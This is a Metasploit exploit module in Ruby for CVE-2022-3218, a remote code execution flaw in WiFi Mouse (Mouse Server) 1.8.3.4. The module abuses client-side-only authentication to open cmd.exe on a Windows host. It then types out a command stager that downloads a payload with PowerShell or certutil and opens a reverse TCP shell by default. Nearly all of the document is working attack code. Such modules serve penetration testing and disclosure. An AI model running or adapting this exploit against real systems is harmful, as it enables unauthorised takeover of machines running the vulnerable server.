WiFi Mouse 1.8.3.4 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wifi Mouse RCE',  
'Description' => %q{  
The WiFi Mouse (Mouse Server) from Necta LLC contains an auth bypass as the  
authentication is completely implemented entirely on the client side. By utilizing  
this vulnerability, is possible to open a program on the server  
(cmd.exe in our case) and type commands that will be executed as the user running  
WiFi Mouse (Mouse Server), resulting in remote code execution.  
  
Tested against versions 1.8.3.4 (current as of module writing) and  
1.8.2.3.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'REDHATAUGUST', # edb  
'H4RK3NZ0' # edb, original discovery  
],  
'References' => [  
[ 'EDB', '50972' ],  
[ 'EDB', '49601' ],  
[ 'CVE', '2022-3218' ],  
[ 'URL', 'http://wifimouse.necta.us/' ],  
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/wifi%20mouse/wifi-mouse-server-rce.py' ]  
],  
'Arch' => [ ARCH_X64, ARCH_X86 ],  
'Platform' => 'win',  
'Targets' => [  
[  
'stager',  
{  
'CmdStagerFlavor' => ['psh_invokewebrequest', 'certutil']  
}  
],  
],  
'Payload' => {  
'BadChars' => "\x0a\x00"  
},  
'DefaultOptions' => {  
# since this may get typed out ON SCREEN we want as small a payload as possible  
'PAYLOAD' => 'windows/shell/reverse_tcp'  
},  
'DisclosureDate' => '2021-02-25',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [CRASH_SERVICE_DOWN],  
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # typing on screen  
}  
)  
)  
register_options(  
[  
OptPort.new('RPORT', [true, 'Port WiFi Mouse Mouse Server runs on', 1978]),  
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),  
OptInt.new('LINEMAX', [true, 'Maximum length of lines to send for stager method. Smaller for more unstable connections.', 1_020]),  
]  
)  
end  
  
def send_return  
sock.put('key 3RTN') # what the mobile app sends  
end  
  
def send_command(command)  
sock.put("utf8 #{command}\x0A")  
sleep(datastore['SLEEP'])  
send_return  
end  
  
def open_file(file)  
file = "/#{file}".gsub('\\', '/').gsub(':', '')  
sock.put("openfile #{file}\x0A")  
end  
  
def exploit  
connect  
print_status('Opening command prompt')  
open_file('C:\\Windows\\System32\\cmd.exe')  
sleep(datastore['SLEEP']) # give time for it to open  
  
print_status('Typing out payload')  
execute_cmdstager({ linemax: datastore['LINEMAX'], delay: datastore['SLEEP'] })  
  
handler  
end  
  
def execute_command(cmd, _opts = {})  
send_command(cmd)  
end  
end  
`